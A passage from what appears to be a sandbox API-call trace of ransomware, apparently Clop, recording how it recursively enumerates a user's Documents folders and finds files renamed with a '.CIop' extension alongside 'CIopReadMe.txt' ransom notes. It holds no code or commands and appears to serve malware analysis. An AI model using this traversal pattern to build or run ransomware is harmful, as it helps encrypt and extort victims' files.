(in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0158.940] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0158.940] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*" [0158.940] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67def8 [0158.940] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="1gqxJ7phl" [0158.940] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="1gqxJ7phl" | out: lpString1="1gqxJ7phl") returned="1gqxJ7phl" [0158.940] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.941] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.941] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.941] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.941] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.941] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0158.941] FindClose (in: hFindFile=0x67def8 | out: hFindFile=0x67def8) returned 1 [0158.941] FindClose (in: hFindFile=0x67def8 | out: hFindFile=0x67def8) returned 0 [0158.941] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.941] lstrcmpW (lpString1="4cjd3SaCmW1", lpString2="..") returned 1 [0158.941] lstrcmpW (lpString1="4cjd3SaCmW1", lpString2=".") returned 1 [0158.941] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0158.941] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0158.941] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0158.941] SetErrorMode (uMode=0x1) returned 0x1 [0158.941] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0158.941] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0158.941] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0158.941] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*" [0158.941] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dd78 [0158.941] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="4cjd3SaCmW1" [0158.941] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="4cjd3SaCmW1" | out: lpString1="4cjd3SaCmW1") returned="4cjd3SaCmW1" [0158.941] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.941] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.941] lstrcmpW (lpString1="3kj8Y-EDPTFO.pptx.CIop", lpString2="..") returned 1 [0158.941] lstrcmpW (lpString1="3kj8Y-EDPTFO.pptx.CIop", lpString2=".") returned 1 [0158.941] lstrlenW (lpString=".CIop") returned 5 [0158.941] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.941] lstrcmpW (lpString1="5NEaCJn_lqI_2wf_A.pdf.CIop", lpString2="..") returned 1 [0158.941] lstrcmpW (lpString1="5NEaCJn_lqI_2wf_A.pdf.CIop", lpString2=".") returned 1 [0158.941] lstrlenW (lpString=".CIop") returned 5 [0158.941] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.941] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.941] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.942] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.942] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.942] lstrcmpW (lpString1="gGPxR1SI06PikWMCd.rtf.CIop", lpString2="..") returned 1 [0158.942] lstrcmpW (lpString1="gGPxR1SI06PikWMCd.rtf.CIop", lpString2=".") returned 1 [0158.942] lstrlenW (lpString=".CIop") returned 5 [0158.942] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.942] lstrcmpW (lpString1="NHki1vMmaXoWuhnR.pdf.CIop", lpString2="..") returned 1 [0158.942] lstrcmpW (lpString1="NHki1vMmaXoWuhnR.pdf.CIop", lpString2=".") returned 1 [0158.942] lstrlenW (lpString=".CIop") returned 5 [0158.942] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.942] lstrcmpW (lpString1="tyDDeYuppbUilesSL.odt.CIop", lpString2="..") returned 1 [0158.942] lstrcmpW (lpString1="tyDDeYuppbUilesSL.odt.CIop", lpString2=".") returned 1 [0158.942] lstrlenW (lpString=".CIop") returned 5 [0158.942] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0158.942] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0158.942] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0158.942] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0158.942] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*" [0158.942] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dfb8 [0158.942] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="4cjd3SaCmW1" [0158.942] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="4cjd3SaCmW1" | out: lpString1="4cjd3SaCmW1") returned="4cjd3SaCmW1" [0158.942] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.942] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.942] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.942] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.942] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.942] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.942] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.942] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.942] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0158.942] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0158.942] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0158.943] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.943] lstrcmpW (lpString1="isZLUU", lpString2="..") returned 1 [0158.943] lstrcmpW (lpString1="isZLUU", lpString2=".") returned 1 [0158.943] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0158.943] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0158.943] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0158.943] SetErrorMode (uMode=0x1) returned 0x1 [0158.943] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0158.943] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0158.943] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0158.943] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*" [0158.943] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dc38 [0158.943] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="isZLUU" [0158.943] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="isZLUU" | out: lpString1="isZLUU") returned="isZLUU" [0158.943] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.943] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.943] lstrcmpW (lpString1="3B2V8p-DhIekN7FYAT.docx.CIop", lpString2="..") returned 1 [0158.943] lstrcmpW (lpString1="3B2V8p-DhIekN7FYAT.docx.CIop", lpString2=".") returned 1 [0158.943] lstrlenW (lpString=".CIop") returned 5 [0158.943] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.943] lstrcmpW (lpString1="5qiwP0Jfq.pps.CIop", lpString2="..") returned 1 [0158.943] lstrcmpW (lpString1="5qiwP0Jfq.pps.CIop", lpString2=".") returned 1 [0158.943] lstrlenW (lpString=".CIop") returned 5 [0158.943] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.943] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.943] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.943] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.943] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.943] lstrcmpW (lpString1="fsxQuEAvOd0El-v.pps.CIop", lpString2="..") returned 1 [0158.943] lstrcmpW (lpString1="fsxQuEAvOd0El-v.pps.CIop", lpString2=".") returned 1 [0158.943] lstrlenW (lpString=".CIop") returned 5 [0158.943] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.943] lstrcmpW (lpString1="gl54xs.odt.CIop", lpString2="..") returned 1 [0158.943] lstrcmpW (lpString1="gl54xs.odt.CIop", lpString2=".") returned 1 [0158.943] lstrlenW (lpString=".CIop") returned 5 [0158.943] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.943] lstrcmpW (lpString1="h8IhXzO4v.csv.CIop", lpString2="..") returned 1 [0158.943] lstrcmpW (lpString1="h8IhXzO4v.csv.CIop", lpString2=".") returned 1 [0158.943] lstrlenW (lpString=".CIop") returned 5 [0158.943] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.943] lstrcmpW (lpString1="HpvWb5EHtTvn89.pps.CIop", lpString2="..") returned 1 [0158.944] lstrcmpW (lpString1="HpvWb5EHtTvn89.pps.CIop", lpString2=".") returned 1 [0158.944] lstrlenW (lpString=".CIop") returned 5 [0158.944] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] lstrcmpW (lpString1="oGyow62Ehp.pdf.CIop", lpString2="..") returned 1 [0158.944] lstrcmpW (lpString1="oGyow62Ehp.pdf.CIop", lpString2=".") returned 1 [0158.944] lstrlenW (lpString=".CIop") returned 5 [0158.944] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] lstrcmpW (lpString1="Q0WDNI_cEJvL.pdf.CIop", lpString2="..") returned 1 [0158.944] lstrcmpW (lpString1="Q0WDNI_cEJvL.pdf.CIop", lpString2=".") returned 1 [0158.944] lstrlenW (lpString=".CIop") returned 5 [0158.944] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] lstrcmpW (lpString1="tpkoPGhxV.xls.CIop", lpString2="..") returned 1 [0158.944] lstrcmpW (lpString1="tpkoPGhxV.xls.CIop", lpString2=".") returned 1 [0158.944] lstrlenW (lpString=".CIop") returned 5 [0158.944] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] lstrcmpW (lpString1="vv1t.doc.CIop", lpString2="..") returned 1 [0158.944] lstrcmpW (lpString1="vv1t.doc.CIop", lpString2=".") returned 1 [0158.944] lstrlenW (lpString=".CIop") returned 5 [0158.944] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0158.944] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 1 [0158.944] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 0 [0158.944] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0158.944] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*" [0158.944] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67de38 [0158.944] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="isZLUU" [0158.944] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="isZLUU" | out: lpString1="isZLUU") returned="isZLUU" [0158.944] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.944] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0158.944] lstrcmpW (lpString1="rMpN_ZRY5SqnHAJ8aGld", lpString2="..") returned 1 [0158.945] lstrcmpW (lpString1="rMpN_ZRY5SqnHAJ8aGld", lpString2=".") returned 1 [0158.945] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0158.945] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0158.945] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\", lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0158.945] SetErrorMode (uMode=0x1) returned 0x1 [0158.945] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0158.945] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0158.945] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0158.945] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*" [0158.945] FindFirstFileW (in: 